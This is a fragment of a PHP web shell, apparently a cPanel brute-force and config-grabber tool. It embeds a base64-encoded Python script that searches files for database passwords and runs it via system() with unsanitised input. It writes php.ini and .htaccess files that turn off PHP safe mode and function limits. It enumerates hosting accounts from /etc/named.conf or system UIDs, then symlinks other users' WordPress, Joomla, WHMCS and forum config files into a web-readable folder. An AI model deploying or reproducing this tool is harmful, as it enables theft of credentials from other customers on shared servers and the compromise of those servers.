dcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
$file = fopen("cp.py","w+");
$write = fwrite ($file ,base64_decode($cp));
fclose($file);
chmod("cp.py",0755);
$url = $_POST['url'];
echo"<center>
<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
system("python cp.py $url config");
unlink ('cp.py');
echo"</textarea>
</center>";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['matikan']=='sekatan'){
@error_reporting(0);
$phpini =
'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess =
'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo "<hr><center><b>DONE!";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['mendapatkan']=='passwd'){
@set_magic_quotes_runtime(0);
ob_start();
error_reporting(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$fn = $_POST['foldername'];
//all function here

function syml($usern,$pdomain)
	{
		symlink('/home/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
		symlink('/home/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
		symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
		symlink('/home/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
		symlink('/home/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
		symlink('/home/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
		symlink('/home/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
		symlink('/home/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
		symlink('/home/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
		symlink('/home/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
		symlink('/home/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
		symlink('/home/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
		symlink('/home/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
		symlink('/home/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
		symlink('/home/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
		symlink('/home/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
		symlink('/home/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
		symlink('/home/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
		symlink('/home/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
		symlink('/home/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
		symlink('/home/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
		symlink('/home/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
		symlink('/home/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
		symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
		symlink('/home/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
		symlink('/home/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
		symlink('/home/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
		symlink('/home/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
		symlink('/home/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
		symlink('/home/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
		symlink('/home2/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
		symlink('/home2/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
		symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
		symlink('/home2/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
		symlink('/home2/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
		symlink('/home2/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
		symlink('/home2/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
		symlink('/home2/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
		symlink('/home2/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
		symlink('/home2/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
		symlink('/home2/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
		symlink('/home2/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
		symlink('/home2/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
		symlink('/home2/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
		symlink('/home2/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
		symlink('/home2/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
		symlink('/home2/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
		symlink('/home2/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
		symlink('/home2/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
		symlink('/home2/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
		symlink('/home2/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
		symlink('/home2/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
		symlink('/home2/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
		symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
		symlink('/home2/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
		symlink('/home2/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
		symlink('/home2/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
		symlink('/home2/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
		symlink('/home2/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
		symlink('/home2/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
		symlink('/home3/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
		symlink('/home3/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
		symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
		symlink('/home3/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
		symlink('/home3/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
		symlink('/home3/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
		symlink('/home3/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
		symlink('/home3/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
		symlink('/home3/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
		symlink('/home3/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
		symlink('/home3/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
		symlink('/home3/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
		symlink('/home3/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
		symlink('/home3/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
		symlink('/home3/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
		symlink('/home3/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
		symlink('/home3/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
		symlink('/home3/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
		symlink('/home3/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
		symlink('/home3/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
		symlink('/home3/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
		symlink('/home3/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
		symlink('/home3/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
		symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
		symlink('/home3/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
		symlink('/home3/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
		symlink('/home3/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
		symlink('/home3/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
		symlink('/home3/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
		symlink('/home3/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
		symlink('/home4/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
		symlink('/home4/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
		symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
		symlink('/home4/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
		symlink('/home4/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
		symlink('/home4/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
		symlink('/home4/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
		symlink('/home4/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
		symlink('/home4/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
		symlink('/home4/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
		symlink('/home4/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
		symlink('/home4/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
		symlink('/home4/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
		symlink('/home4/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
		symlink('/home4/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
		symlink('/home4/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
		symlink('/home4/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
		symlink('/home4/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
		symlink('/home4/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
		symlink('/home4/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
		symlink('/home4/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
		symlink('/home4/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
		symlink('/home4/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
		symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
		symlink('/home4/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
		symlink('/home4/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
		symlink('/home4/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
		symlink('/home4/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
		symlink('/home4/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
		symlink('/home4/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
		symlink('/home5/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
		symlink('/home5/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
		symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
		symlink('/home5/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
		symlink('/home5/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
		symlink('/home5/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
		symlink('/home5/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
		symlink('/home5/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
		symlink('/home5/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
		symlink('/home5/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
		symlink('/home5/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
		symlink('/home5/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
		symlink('/home5/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
		symlink('/home5/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
		symlink('/home5/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
		symlink('/home5/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
		symlink('/home5/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
		symlink('/home5/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
		symlink('/home5/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
		symlink('/home5/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
		symlink('/home5/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
		symlink('/home5/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
		symlink('/home5/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
		symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
		symlink('/home5/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
		symlink('/home5/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
		symlink('/home5/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
		symlink('/home5/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
		symlink('/home5/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
		symlink('/home5/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
		symlink('/home6/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
		symlink('/home6/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
		symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
		symlink('/home6/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
		symlink('/home6/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
		symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
		symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
		symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
		symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
		symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
		symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
		symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
		symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
		symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
		symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
		symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
		symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
		symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
		symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
		symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
		symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
		symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
		symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
		symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
		symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
		symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
		symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
		symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
		symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
		symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
		symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
		symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
		symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
		symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
		symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
		symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
		symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
		symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
		symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
		symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
		symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
		symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
		symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
		symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
		symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
		symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
		symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
		symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
		symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
		symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
		symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
		symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
		symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
		symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
		symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
		symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
		symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
		symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
		symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
		symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
	}

				$d0mains = @file("/etc/named.conf");
		
				if($d0mains)
				{
					mkdir($fn);
					chdir($fn);
										
					foreach($d0mains as $d0main)
					{
						if(eregi("zone",$d0main))
						{
							preg_match_all('#zone "(.*)"#', $d0main, $domains);
							flush();
								
							if(strlen(trim($domains[1][0])) > 2)
							{ 
								$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
								
								syml($user['name'],$domains[1][0]);					
							}
						}
					}
					echo "<center><font color=lime size=3>[ Done ]</font></center>";
					echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>"; 
				}
				else
				{
					mkdir($fn);
					chdir($fn);
					$temp = "";
					$val1 = 0;
					$val2 = 1000;
					for(;$val1 <= $val2;$val1++) 
					{
						$uid = @posix_getpwuid($val1);
						if ($uid)
							$temp .= join(':',$uid)."
";
					 }
					 echo '<br/>';
					 $temp = trim($temp);
					 
					 $file5 = fopen("test.txt","w");
					 fputs($file5,$temp);
					 fclose($file5);

$htaccess =
'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
					 
					 $file = fopen("test.txt", "r") or exit("Unable to open file!");
					 while(!feof($file))
					 {
						$s = fgets($file);
						$matches = array();
						$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
						$matches = str_replace("home/","",$matches[1]);
						if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
							continue;
						syml($matches,$matches);
					 }
					fclose($file);
					echo "</table>";
					unlink("test.txt");
					echo "<center><font color=lime size=3>[ Done ]</font></center>";
					echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>"; 
				}
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
?>
<form method="POST" target="_blank">
	<strong>
<input name="page" type="hidden" value="find"><table>      				
    </strong><br><br><center><font size="5" style="italic" color="#00ff00">Cpanel BruteForce</font></center><br><br>
    <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
	<tr>
	<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
	<center><b><font size="5" style="italic" color="#00ff00">Cpanel BruteForce</font></b></center></td></tr>
    <tr>
    <td>
    <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
